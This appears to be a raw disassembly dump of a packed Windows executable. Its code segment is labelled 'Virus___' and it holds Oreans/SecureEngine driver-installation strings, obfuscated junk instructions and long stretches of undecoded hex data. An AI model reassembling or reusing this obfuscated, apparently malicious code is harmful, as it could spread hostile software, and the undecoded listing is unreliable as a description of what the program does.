		dd 41656369h, 74654700h, 6974614Eh, 79536576h, 6D657473h
		dd 6F666E49h, 65704F00h, 7265536Eh, 65636976h, 65440041h
		dd 6574656Ch, 76726553h, 656369h, 736F6C43h, 72655365h
		dd 65636976h, 646E6148h, 4300656Ch, 72746E6Fh, 65536C6Fh
		dd 63697672h, 65h, 7 dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 4
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 4
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 4
		dd 0D9h	dup(0)
		dd 5C2E5C5Ch, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpriv	db 'SeShutdownPrivilege',0
		align 8
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseserviceha	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		dd 0
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9401h, 500h,	100h, 0A2800h, 200h, 72655300h,	65636976h
		dd 63615020h, 32206Bh, 1Dh dup(0)
		dd 666F5300h, 72617774h, 69575C65h, 8B00656Eh, 89CB8BC4h
		dd 5D0AE185h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 66167360h, 0C08BD78Bh, 27B96660h
		dd 0C38B666Ch, 8D8D2361h, 83095D1Fh, 5D1809BDh,	9750009h
		dd 329BD83h, 7400095Dh,	8B535019h, 43DB8C0h, 85890000h
		dd 95D10ADh, 0AA619D8Dh, 0D3FF095Fh, 0BD83585Bh, 95D0329h
		dd 50177400h, 43DB853h,	85890000h, 95D10ADh, 0A7509D8Dh
		dd 0D3FF095Fh, 0BD8B585Bh, 95D1081h, 39C2CBAh, 0FC08B28h
		dd 68Eh, 0F18D8900h, 0F095D0Ch,	686h, 25B52900h, 8B095D30h
		dd 0DE9C0h, 8DAD0000h, 7BDAD783h, 766C2387h, 832B45C9h
		dd 5D1809BDh, 9750009h,	329BD83h, 7400095Dh, 8B535013h
		dd 0B8C0h, 9D8D0000h, 95FA903h,	585BD3FFh, 329BD83h, 7400095Dh
		dd 0B8535011h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+95FA7B4h]
		call	ebx
		pop	ebx
		pop	eax
		mov	ecx, 2FCCD089h
		mov	ecx, 510AF423h
		add	[ebp+95D152Dh],	ecx
		mov	eax, eax
		mov	ecx, [ebp+95D22C9h]
		mov	eax, eax
		mov	ecx, [ebp+95D130Dh]
		cmp	dword ptr [ebp+95D1809h], 0
		jnz	short loc_59A99C
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_59A9AF


loc_59A99C:				; CODE XREF: Virus___:0059A991j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+95FA835h]
		call	ebx
		pop	ebx
		pop	eax


loc_59A9AF:				; CODE XREF: Virus___:0059A99Aj
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_59A9C9
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+95FA782h]
		call	ebx
		pop	ebx
		pop	eax


loc_59A9C9:				; CODE XREF: Virus___:0059A9B6j
		push	0
		push	ebx
		call	sub_59A9D4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A9D4	proc near		; CODE XREF: Virus___:0059A9CCp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_59A9D4	endp

; ---------------------------------------------------------------------------
		dd 0DFB23A56h, 0BE261A9Eh, 182D8589h, 0C08B095Dh, 1EF9B501h
		dd 0C08B095Dh, 0E998B966h, 1809BD83h, 7500095Dh, 29BD8309h
		dd 95D03h, 53501374h, 0B8C08Bh,	8D000000h, 5FA89C9Dh, 5BD3FF09h
		dd 29BD8358h, 95D03h, 53501174h, 0B8h, 9B9D8D00h, 0FF095FA7h
		dd 0E8585BD3h, 10h, 70987BA5h, 4C3ED2A7h, 87AE380Fh, 7C95337Ch
		dd 0B8E0Fh, 5E80000h, 56000000h, 0F41DB1A9h, 0E1815F5Fh
		dd 5E8E96Ah, 6E9h, 0F0C7F300h, 8B27C38Eh, 0C08BF9C0h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 1C35343h, 9BD832Fh
		dd 95D18h, 0BD830975h, 95D0329h, 50137400h, 0B8C08B53h
		dd 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+95FA7CEh]
		call	ebx
		pop	ebx
		pop	eax
		add	dl, 0FEh
		mov	dh, 75h
		mov	eax, eax
		mov	eax, eax
		mov	edx, [ebp+95D03D9h]
		cmp	dword ptr [ebp+95D1809h], 0
		jnz	short loc_59AADF
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_59AAF8


loc_59AADF:				; CODE XREF: Virus___:0059AAD4j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D0h
		mov	[ebp+95D10ADh],	eax
		lea	ebx, [ebp+95FAA61h]
		call	ebx
		pop	ebx
		pop	eax


loc_59AAF8:				; CODE XREF: Virus___:0059AADDj
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_59AB18
		push	eax
		push	ebx
		mov	eax, 7D0h
		mov	[ebp+95D10ADh],	eax
		lea	ebx, [ebp+95FA750h]
		call	ebx
		pop	ebx
		pop	eax


loc_59AB18:				; CODE XREF: Virus___:0059AAFFj
		sub	edi, [ebp+95D1451h]
		push	0
		push	ebp
		call	sub_59AB29
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59AB29	proc near		; CODE XREF: Virus___:0059AB21p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_59AB29	endp

; ---------------------------------------------------------------------------
		inc	ebp
		cdq
		fadd	st, st(6)
		mov	eax, eax
		jg	loc_59AB4B
		mov	edx, [ebp+95D21C5h]


loc_59AB4B:				; CODE XREF: Virus___:0059AB3Fj
		mov	byte ptr [ebp+95D3335h], 53h
		push	0
		push	ebx
		call	sub_59AB5D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59AB5D	proc near		; CODE XREF: Virus___:0059AB55p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_59AB5D	endp

; ---------------------------------------------------------------------------
		push	edx
		push	ecx
		sti
		mov	[ebp+95D0C05h],	ecx
		mov	dh, bl
		push	99395F90h
		mov	ecx, [ebp+95D003Dh]
		push	dword ptr [ebp+95D08F1h]
		jmp	loc_59AB98
; ---------------------------------------------------------------------------
		dw 5F45h
		dd 660DF9FDh, 36C0BAB6h
; ---------------------------------------------------------------------------


loc_59AB98:				; CODE XREF: Virus___:0059AB89j
		lea	eax, [ebp+95D3973h]
		mov	[ebp+95D0771h],	eax
		call	eax
		mov	[ebp+95D0619h],	ecx
		mov	[ebp+95D2259h],	eax
		push	0
		push	ebp
		call	sub_59ABBD
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59ABBD	proc near		; CODE XREF: Virus___:0059ABB5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_59ABBD	endp

; ---------------------------------------------------------------------------
		db 5Ch,	14h, 0CFh
		dd 0F0A2D446h, 0BAB9CBD3h, 1CB6C00Ch, 333585C6h, 6657095Dh
		dd 0E9D1E2B9h, 7, 0ED8EF2ABh, 68D7DA8Bh, 90045206h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0B4C35242h, 0C5D9B1ADh
		dd 0D6D9D0EDh, 8F1B5FFh, 0D781095Dh, 35197E3Fh,	24818D8Bh
		dd 858D095Dh, 95D3973h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0E0C35343h, 81664458h, 6647A2CAh, 0A6A2D281h
		dd 0BD0BD0FFh, 95D08EDh, 3858589h, 6A095Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 47E2A4C3h
		dd 0F5D97DBh, 680h, 8D958B00h, 0C6095D0Fh, 5D333585h, 8B604309h
		dd 5D19B185h, 2E88109h,	61550C09h, 90702868h, 0F823B9BCh
		dd 0B5FF3A10h, 95D08F1h, 3973858Dh, 0BD89095Dh,	95D1391h
		dd 8D58D8Bh, 0D0FF095Dh, 12218D8Bh, 8589095Dh, 95D2349h
		dd 39BF6660h, 9D8D8B3Fh, 61095D14h, 333585C6h, 6A4C095Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 1559C353h, 53596949h, 0E968C14Dh,	6AD9DA1Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0BDB1C352h, 41F020F2h, 3FF01EB3h,	0D4A2E981h
		dd 0B5FF4D66h, 95D08F1h, 14E9h,	0BD8E4200h, 0CC061C79h
		dd 361ACE01h, 5F6C5A77h, 0EE552D1Ah, 73858D71h,	0F095D39h
		dd 84h,	6AD0FF00h, 3E85300h, 20000000h,	895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0E099C353h, 0F59ABE0Bh, 0B498589h
		dd 0AE9095Dh, 90000000h, 0D3B8F806h, 62651B73h,	3585C66Fh
		dd 46095D33h, 5E9h, 8AC2A500h, 1468B5E7h, 81BADE06h, 3EFBD0D2h
		dd 0F1B5FF55h, 89095D08h, 5D22D5BDh, 73858D09h,	66095D39h
		dd 3D74E781h, 0CF8AD0FFh, 2D98589h, 4BBF095Dh, 0C60D3B3Fh
		dd 5D333585h, 11E94709h, 78000000h, 0C698814Ch,	86FC0B0Eh
		dd 496207D2h, 0B6B60AB8h, 0FB5E268h, 0DBD898Ah,	0FF095D0Bh
		dd 5D08F1B5h, 0DF816609h, 858D8DA6h, 95D3973h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C3C35141h, 89D0FF1Ch
		dd 5D2A1185h, 19BD8909h, 0C6095D32h, 5D333585h,	0B70F4709h
		dd 0B5F368D0h, 0E96083D0h, 0Fh,	79FDDF27h, 6A0058DCh, 3E32A989h
		dd 61CCEAACh, 8F1B5FFh,	8D8B095Dh, 95D20DDh, 3973858Dh
		dd 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0C33025C3h, 1BB2E981h, 0D0FF37A7h, 26458589h
		dd 8589095Dh, 95D298Dh,	16D98D8Bh, 85C6095Dh, 95D3335h
		dd 0E1958B77h, 68095D08h, 0F397A8A3h, 50F9B70Fh, 54D8D8Bh
		dd 0FF5A095Dh, 5D0711B5h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 1E472F6Dh
		dd 495640BCh, 84B8D981h, 0BF0F60A7h, 73858DCBh,	6A095D39h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 3C37C350h, 935CAC78h, 0D0FFD09Fh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 73C35646h, 0B662425Bh
		dd 6E9DEh, 0A9A50000h, 0BAD331A6h, 111D8589h, 6A095Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 916F98C3h, 55937217h, 958B04B4h, 95D03A5h, 0F9B58960h
		dd 0BA095D08h, 5EC25B5Fh, 3585C661h, 47095D33h,	0EE8h
		dd 0F093FF00h, 5B93381Ah, 0E0FA2E22h, 668984A2h, 5F8D17BFh
		dd 28FAF668h, 0E2816687h, 0B5FF3D16h, 95D08F1h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E5C35040h, 916B4E41h
		dd 8DAAE19Bh, 5D397385h, 0FD853109h, 0FF095D06h, 0AA1ABFD0h
		dd 0B70F7E3Eh, 0DD8589CFh, 6A095D2Eh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0E7A0C357h
		dd 697D81ABh, 650D3E75h, 0C6FFF180h, 5D333585h,	0CF8B4309h
		dd 8E6EFC68h, 57006ABCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 54A250D9h, 0F09131Ch, 289h, 0FFB3B100h
		dd 5D08F1B5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0A4D281FFh, 1382008h, 5D1A598Dh
		dd 11858909h, 8D095D19h, 5D397385h, 68E0F09h, 8B000000h
		dd 5D031195h, 60D0FF09h, 19DD8D89h, 0B70F095Dh,	858961F7h
		dd 95D33C9h, 3585C6F8h,	45095D33h, 73D9529h, 6968095Dh
		dd 6A8E7269h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0D583C355h, 0B966E935h, 0B5FFC4BFh
		dd 95D08F1h, 8FF0A2BAh,	73858D7Fh, 89095D39h, 5D30558Dh
		dd 0FD0FF09h, 88Ch, 830F5600h, 0
; ---------------------------------------------------------------------------
		pop	edi
		mov	[ebp+95D02BDh],	eax
		mov	cx, 9FFCh
		mov	byte ptr [ebp+95D3335h], 44h
		jmp	loc_59B140
; ---------------------------------------------------------------------------
		xor	[ecx-47119581h], esp
		stc
		mov	dl, 9Ch


loc_59B140:				; CODE XREF: Virus___:0059B132j
		push	0B8F2EC64h
		push	dword ptr [ebp+95D08F1h]
		mov	edx, [ebp+95D18B1h]
		mov	di, ax
		lea	eax, [ebp+95D3973h]
		mov	dx, 8A70h
		call	eax
		mov	[ebp+95D28D1h],	esi
		mov	[ebp+95D0061h],	eax
		add	edi, [ebp+95D0541h]
		mov	byte ptr [ebp+95D3335h], 43h
		xor	[ebp+95D309Dh],	eax
		push	0C0764AA7h
		mov	dx, si
		js	loc_59B191
		mov	dx, 5C42h


loc_59B191:				; CODE XREF: Virus___:0059B187j
		push	dword ptr [ebp+95D08F1h]
		mov	edx, [ebp+95D3111h]
		lea	eax, [ebp+95D3973h]
		or	ecx, [ebp+95D128Dh]
		call	eax
		mov	edi, 15419F71h
		mov	[ebp+95D1795h],	eax
		mov	ecx, 10E68B08h
		cmp	byte ptr [ebp+95FF872h], 0
		jz	loc_59B2B5
		mov	cx, ax
		lea	eax, [ebp+95FF854h]
		push	0
		push	eax
		call	sub_59B1DC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B1DC	proc near		; CODE XREF: Virus___:0059B1D4p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_59B1DC	endp

; ---------------------------------------------------------------------------
		dd 0E0CEE74Dh, 3C628EBAh, 8B0F506Bh, 5,	11F0AABAh, 66016A15h
		dd 6A90CCBAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 31F45F46h, 5D1E8185h, 1566009h, 5D16D9BDh
		dd 6B85F09h, 614BB75Bh,	0BF0F006Ah, 4995FFD2h, 66095D23h
		dd 894458BFh, 5D337585h, 0FE809h, 1BD70000h, 0BA3E9889h
		dd 30C7B338h, 0B160A8B5h, 1D8D03B6h, 5A095D21h,	0D9C5CBAh
		dd 0E9FF6A0Ch, 0Bh, 9719FC34h, 11DDA27Bh, 0FF64126Bh, 5D3375B5h
		dd 0D0BF0F09h, 38595FFh, 6A095Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 893B00C3h, 5D18D5B5h
		db 9
; ---------------------------------------------------------------------------


loc_59B2B5:				; CODE XREF: Virus___:0059B1C2j
		mov	eax, eax
		mov	dh, al
		cmp	dword ptr [ebp+95D1809h], 0
		jnz	short loc_59B2CB
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_59B2E4


loc_59B2CB:				; CODE XREF: Virus___:0059B2C0j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D1h
		mov	[ebp+95D10ADh],	eax
		lea	ebx, [ebp+95FAA61h]
		call	ebx
		pop	ebx
		pop	eax


loc_59B2E4:				; CODE XREF: Virus___:0059B2C9j
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_59B304
		push	eax
		push	ebx
		mov	eax, 7D1h
		mov	[ebp+95D10ADh],	eax
		lea	ebx, [ebp+95FA750h]
		call	ebx
		pop	ebx
		pop	eax


loc_59B304:				; CODE XREF: Virus___:0059B2EBj
		mov	ecx, 318D02F1h
		mov	eax, eax
		jle	loc_59B317
		add	edi, [ebp+95D314Dh]


loc_59B317:				; CODE XREF: Virus___:0059B30Bj
		mov	byte ptr [ebp+95D3335h], 47h
		jmp	loc_59B330
; ---------------------------------------------------------------------------
		db 0F9h
		dd 0B2416102h, 367B4BB4h, 95AB3B36h
; ---------------------------------------------------------------------------


loc_59B330:				; CODE XREF: Virus___:0059B31Ej
		push	93C8F7C1h
		mov	di, bx
		push	dword ptr [ebp+95D08F1h]
		mov	[ebp+95D249Dh],	edx
		lea	eax, [ebp+95D3973h]
		add	ecx, 7635FC6Eh
		call	eax
		cmc
		jmp	loc_59B364
; ---------------------------------------------------------------------------
		dd 83B6114Eh, 7A775676h, 9C0F70B0h
; ---------------------------------------------------------------------------


loc_59B364:				; CODE XREF: Virus___:0059B353j
		push	eax
		push	0
		push	ebx
		call	sub_59B370
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B370	proc near		; CODE XREF: Virus___:0059B368p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_59B370	endp

; ---------------------------------------------------------------------------
		dd 0A1C94AE5h, 95741C27h, 95858D97h, 0E9095FFCh, 14h, 2471B9A0h
		dd 89762CABh, 0FC644CEDh, 8349EFA9h, 0D0C45233h, 9400C7h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 92E5B8C3h, 95B58D58h, 6A095FFCh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 6841C357h, 61C03B55h, 6C289397h, 0F259501h, 2956095Dh
		dd 5D11F185h, 0FF35B209h, 55006AD0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0D958B35h
		dd 60095D1Ah, 10E9h, 7441CB00h,	0FB6E5D38h, 0E2BE23F9h
		dd 0A6293429h, 12E9B1h,	0F14A0000h, 0BEF7F3C1h,	0CB3244EEh
		dd 678B181Eh, 430907Fh,	95858D61h, 89095FFCh, 5D17DDBDh
		dd 4788309h, 2B850F06h,	0F8000000h, 0FD2985C7h,	1095Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 986D74C3h, 0BD830CA2h, 95D10BDh, 4E850F00h
		dd 8A000000h, 29BD83CAh, 95FFDh, 3F850Fh, 0BD830000h, 95D2071h
		dd 32840F00h, 89000000h, 5D12BDB5h, 0B585C709h,	95D04h
		dd 60000000h, 0A7E18166h, 0BE84Ah, 80010000h, 0FBCED08Ch
		dd 64EA1419h, 0E99D8B82h, 59095D0Ch, 0CE8A5761h, 0DB8C665Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 5C35040h
		dd 14336D91h, 0D2B70FB4h, 0BA96D181h, 81660561h, 0F6283DDAh
		dd 840F04C3h, 586h, 0AE9h, 0BFA4B400h, 0DA2375ACh, 8B5E42BFh
		dd 5D0A3595h, 7185C709h, 95D09h, 81000000h, 0E2FA7FD1h
		dd 7FBD8070h, 95FF8h, 6850Fh, 95290000h, 95D24F5h, 333585C6h
		dd 0F47095Dh, 387h, 0D7B70F00h,	0E45B8668h, 74B966E3h
		dd 1D8D8B13h, 0FF095D29h, 5D08F1B5h, 1B37BA09h,	95017526h
		dd 95D210Dh, 3973858Dh,	850F095Dh, 2, 8D8BCE8Bh, 95D163Dh
		dd 88B5D0FFh, 10468h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 804ED64Eh, 9D8D86D2h
		dd 95D1D79h, 6880F60h, 8B000000h, 5D11DD9Dh, 0BD235709h
		dd 95D2481h, 0E8536159h, 0Dh, 0F8319D85h, 0AFEA613Dh, 70A636EBh
		dd 0B58D8965h, 5A095D0Bh, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 60E311C3h, 26559D01h
		dd 8B61095Dh, 79858DCFh, 0F095D1Dh, 386h, 0AED98000h, 2791958Bh
		dd 8950095Dh, 5D21D995h, 31858D09h, 81095FF8h, 502A0CC1h
		dd 50F88B13h, 14E9h, 9F6C9A00h,	0C88E2773h, 8CF5D4DFh
		dd 958F48B7h, 2C52CF0h,	4858D35h, 0F095FEFh, 2D8Bh, 0EE800h
		dd 0C99B0000h, 350D0E70h, 88F17311h, 89D623D1h,	14E9h
		dd 0D489FF00h, 684618Fh, 0BBE8DE64h, 8504409Ah,	4ED34501h
		dd 8B665F05h, 9D8950CBh, 95D0C31h, 111D95FFh, 0C980095Dh
		dd 0CC483D6h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	0CEC35141h, 2812E7E1h, 3F536395h, 287D958Bh, 6A095Dh
		dd 8068h, 6A036A00h, 68006A00h,	80000000h, 0EF04858Dh
		dd 0FF50095Fh, 5D33C995h, 14858909h, 0C6095FF8h, 5D333585h
		dd 87684709h, 0FFC7B15Eh, 5D08F1B5h, 73858D09h,	0FF095D39h
		dd 0FF006AD0h, 5FF814B5h, 0FD0FF09h, 0F82h, 0AE900h, 5D0B0000h
		dd 9458508Fh, 67DBB795h, 3DD68B66h, 37D0h, 31830Fh, 89600000h
		dd 5D2A2995h, 619D8909h, 61095D11h, 0F814B5FFh,	95FF095Fh
		dd 95D1795h, 167D9D09h,	0BE9095Dh, 8B000001h, 5D15098Dh
		dd 25BD3109h, 0FF095D26h, 5FF814B5h, 0BE85209h,	4E000000h
		dd 0D725D152h, 2C70779Ch, 81665045h, 5FDAF2EFh,	9595FF5Ah
		dd 89095D17h, 5D299195h, 60006A09h, 0E966F181h,	9E977F6h
		dd 91000000h, 46ADB3DEh, 23F5555Ah, 9006A61h, 5D028D85h
		dd 958D2309h, 6A095D2Bh, 8D8B6000h, 95D1699h, 10E860h
		dd 0E5780000h, 0EBF3652h, 0F43ECA62h, 338EA04Eh, 0B5A990Fh
		dd 5D276D9Dh, 6A616109h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 3BB04BFBh, 8B006A5Dh
		dd 5D31098Dh, 0F006A09h, 858DD2BFh, 95FF818h, 6810Fh, 0BD8B0000h
		dd 95D26C9h, 12E950h, 91490000h, 68747169h, 5960002Eh
		dd 0F2B25FD4h, 588218EFh, 33C995FFh, 83F8095Dh,	850FFFF8h
		dd 168h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 16h,	0D6C35141h, 858D4F42h, 95FAE76h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 63C35141h, 24F2E71h
		dd 68F0F67h, 8B000000h,	5D28D9BDh, 0BD0FF09h, 5D2F25BDh
		dd 89006A09h, 5D02F99Dh, 6ACE8B09h, 85336000h, 95D32C5h
		dd 25E59D8Bh, 6A61095Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 6AC0E6h, 3850Fh, 8B660000h
		dd 0BF006AC8h, 6B7B1D79h, 8F0F006Ah, 3,	8DFB8B66h, 5FF81885h
		dd 0D0B70F09h, 95FFF550h, 95D33C9h, 0BD59589h, 0F883095Dh
		dd 99850FFFh, 0E9000000h, 13h, 6BC139D3h, 0D8679E22h, 0E03A0CD4h
		dd 8EF2ABE2h, 8DDA8BEDh, 5FF220B5h, 0A59D8909h,	8D095D10h
		dd 5FA43285h, 6820F09h,	89000000h, 5D228985h, 6AD0FF09h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 5160C356h, 870F6099h, 6, 9418D89h, 9D89095Dh
		dd 95D0619h, 0FBB70F61h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 8173A1C3h, 0FF9CE675h
		dd 5D02BD95h, 0D3BF0F09h, 0F8148589h, 0CF8A095Fh, 0BFB9006Ah
		dd 8D4E1D8Ah, 5FF80C85h, 51006A09h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 6BCC1014h, 5404610Fh
		dd 8E8h, 5D408900h, 973EBF26h, 45BD8946h, 5F095D09h, 6AE68050h
		dd 6AD18B66h, 699D0904h, 8B095D1Fh, 5D11098Dh, 0C5858D09h
		dd 0F5095D24h, 0E9CA8050h, 8D0B006Ah, 95D107Dh,	8589006Ah
		dd 95D33C1h, 0B509016Ah, 95D1CEDh, 5359589h, 0B5FF095Dh
		dd 95FF814h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	98C35747h, 0D7245D9Eh, 3A471BC5h, 68B0F89h, 8B000000h
		dd 5D291195h, 6195FF09h, 89095D00h, 5D16658Dh, 198D8B09h
		dd 0E9095D13h, 1BE3h, 85D958Bh,	0C08B095Dh, 6850Fh, 0EA810000h
		dd 3002560Ah, 1809BD83h, 7500095Dh, 29BD8309h, 95D03h
		dd 53501974h, 0D2B8C08Bh, 89000007h, 5D10AD85h,	619D8D09h
		dd 0FF095FAAh, 83585BD3h, 5D0329BDh, 17740009h,	0D2B85350h
		dd 89000007h, 5D10AD85h, 509D8D09h, 0FF095FA7h,	66585BD3h
		dd 9589C88Bh, 95D053Dh,	0C0B5C08Bh, 97185C7h, 1095Dh, 0F570000h
		dd 58Ah, 15F2B900h, 68594EDCh, 0CEE4E7B8h, 605B5FFh, 858D095Dh
		dd 95D3973h, 8589D0FFh,	95D31E1h, 0FA70858Dh, 8D50095Fh
		dd 5FFD2D85h, 1685009h,	0FF800000h, 5D31E195h, 75C00B09h
		dd 4185C70Ah, 1095D23h,	68000000h, 0C005DBD4h, 605B5FFh
		dd 858D095Dh
		dd 95D3973h, 8589D0FFh,	95D2781h, 0ECBD858Dh, 0FF50095Fh
		dd 5D08F1B5h, 1195FF09h, 0B095D2Ah, 8B0B74C0h, 70858DD8h
		dd 50095FFCh, 858DD3FFh, 95FFC70h, 9388366h, 85C70A75h
		dd 95D1639h, 1,	2EDD95FFh, 0FF25095Dh, 83000000h, 0A7305F8h
		dd 2A0185C7h, 1095Dh, 0DE80000h, 3000000h, 76DAC823h, 0DFB8A45Fh
		dd 57BD7484h, 2F4BC181h, 6A5F574Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 842CC351h
		dd 2723B063h, 762D75FEh, 55AE9ABFh, 0F9BD010Dh,	8B095D29h
		dd 5D2AE5BDh, 7FBD8009h, 95FF8h, 1A840Fh, 0D2810000h, 45B59E81h
		dd 33598D8Bh, 0BD83095Dh, 95FFD29h, 9840F00h, 0F8000000h
